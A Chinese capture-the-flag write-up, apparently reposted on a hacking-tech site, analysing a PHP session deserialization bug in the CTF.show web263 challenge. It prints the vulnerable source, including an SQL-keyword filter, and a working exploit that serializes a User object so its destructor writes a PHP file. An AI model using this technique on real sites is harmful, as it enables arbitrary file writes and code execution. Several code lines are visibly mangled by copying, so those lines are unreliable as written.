记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

PHP SESSION 反序列化漏洞分析

2021-04-08 21:26

题目来源:CTF.show web263

拿到题目只有一个登陆,扫描发现存在源码

为了方便调试,在不影响做题的前提,修改了部分代码

主要文件有index.php、check.php、inc.php

index.php

可以发现通过修改 COOKIE, SESSION 是可控的

  • 第一步

先访问 index.php,让$_SESSION['limit']可以通过if条件

  • 第二步

通过修改COOKIE 控制 SESSION的值

check.php

引用了 inc/inc.php ,继续判断用户名和密码是否正确,退出程序

退出程序会调用对象的析构函数

inc.php

<?php
error_reporting(0);
//ini_set('display_errors', 0);
ini_set('session.serialize_handler''php');
//date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
//require_once 'CTFSHOW.php';
//$db = new CTFSHOW([
//    'database_type' => 'mysql',
//    'database_name' => 'security',
//    'server' => '127.0.0.1',
//    'username' => 'ctf',
//    'password' => '11',
//    'charset' => 'utf8',
//    'port' => 3306,
//    'prefix' => '',
//    'option' => [
//        PDO::ATTR_CASE => PDO::CASE_NATURAL
//    ]
//]);
// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
        echo "jin ru construct";
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 08 ) . '-'
            . substr ( $chars, 84 ) . '-' 
            . substr ( $chars, 124 ) . '-'
            . substr ( $chars, 164 ) . '-'
            . substr ( $chars, 2012 );  
    return $uuid ;  
}
  1. __destruct() 方法可以写文件,并且文件内容可控
  2. 触发可以在check.php退出程序时调用对象的析构函数

payload

存储引擎为 php 和 php_serialize不同编写exp

<?php
highlight_file(__FILE__);
class User{
    public $username;
    public $password;
    public $status ='a';
}
$a=new User();
$a->username='p.php';
$a->password='<?php phpinfo();?>';
echo base64_encode('|'.serialize($a));
// fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJwLnBocCI7czo4OiJwYXNzd29yZCI7czoxODoiPD9waHAgcGhwaW5mbygpOz8+IjtzOjY6InN0YXR1cyI7czoxOiJhIjt9

调试

访问 index.php,可以看到 limit 已经被赋值

修改 COOKIE limit 为 payload,再次访问,SESSION被成功赋值

访问 check.php

运行到这里时会进入 inc.php ,进行查询数据库等一系列操作

php处理方式会把“|”后的值当作KEY值,以php引擎的格式读取session,成功反序列化

这里登陆失败,退出程序,调用析构函数

执行析构函数,写文件

成功执行



知识来源: https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450776603&idx=1&sn=85ab3fb8b6c6abaf30cebbf469e8dc73

阅读:9030 | 评论:0 | 标签:漏洞 PHP 序列化

想收藏或者和大家分享这篇好文章→复制链接地址

“PHP SESSION 反序列化漏洞分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤永久免费的Hackdig,帮你成为掌握黑客技术的英雄

🧚 🤲 🧜

标签云

本页关键词